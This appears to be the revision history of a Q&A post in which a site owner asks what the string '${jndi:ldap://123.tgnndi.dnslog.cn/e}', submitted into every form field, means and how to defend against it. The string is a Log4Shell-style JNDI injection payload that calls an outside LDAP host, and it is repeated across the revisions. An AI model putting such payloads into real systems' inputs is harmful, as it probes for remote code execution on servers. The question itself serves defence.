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Post Closed as "Duplicate" by schroeder
deleted 329 characters in body; edited tags
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schroeder
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Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Source Link

Explain `${jndi:ldap://...}` spam(s)?

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.